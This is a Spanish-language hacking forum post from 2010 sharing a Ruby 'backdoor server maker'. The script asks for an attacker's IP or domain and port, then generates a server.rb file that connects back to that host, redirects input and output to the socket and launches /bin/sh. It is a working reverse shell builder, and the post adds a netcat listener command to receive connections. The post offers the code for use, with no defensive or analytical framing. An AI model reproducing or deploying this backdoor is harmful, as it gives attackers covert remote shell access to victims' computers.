Back door en Ruby

Iniciado por Dharok, Febrero 23, 2010, 11:28:53 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 23, 2010, 11:28:53 PM Ultima modificación: Julio 31, 2014, 09:44:22 PM por Expermicid
Código: ruby
#Ruby Backdoor Server Maker
#N0t Group/RC Team
#Thanks to pRotos for the help.

puts "
___________________________________________________________

             -->RUBY BACKDOOR 0.1<--
___________________________________________________________"

print "Siga los pasos del asistente para configurar el servidor.\n"
print "Teclee la direcci?n IP o dominio no-IP al que desea que se conecte RUBY BACKDOOR 0.1\n"
ip=gets.chomp
print "Teclee a continuacion el puerto al que desea utilizar.\n"
port=gets.chomp
print "Espere un momento por favor, el servidor esta siendo procesado.............\n"
print "Procesando 25%.......................................\n"
print ".................Procesando 50%............................\n"
print ".................................Procesando 75%.................\n"
print ".................................................Procesando 100%\n"
print "Pulse la tecla <Enter> para continuar...\n"
ton=gets.chomp
fil=File.new("server", "w")
fil.write("require 'socket'
begin
sock=TCPSocket.new(\"#{ip}\", \"#{port}\")
rescue Errno::ECONNREFUSED
end
sock.print(\"####################CONEXION ESTABLECIDA###################\n\")
sock.print(\"\nTeclea <exit> para finalizar la conexion.\n\")
   $stdout.reopen(sock)
   $stdin.reopen(sock)
system('/bin/sh')
sock.print(\"\n####################CONEXION FINALIZADA####################\n\")")
fil.close
File.rename('server', 'server.rb')
print "Su servidor ha sido creado con exito. ;-)\n"

Nota: Para dejar el netcat a la escucha:
Código: php
nc -vv -l -p 0000


Donde 0000 es el puerto que es asignado previamente ustedes.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta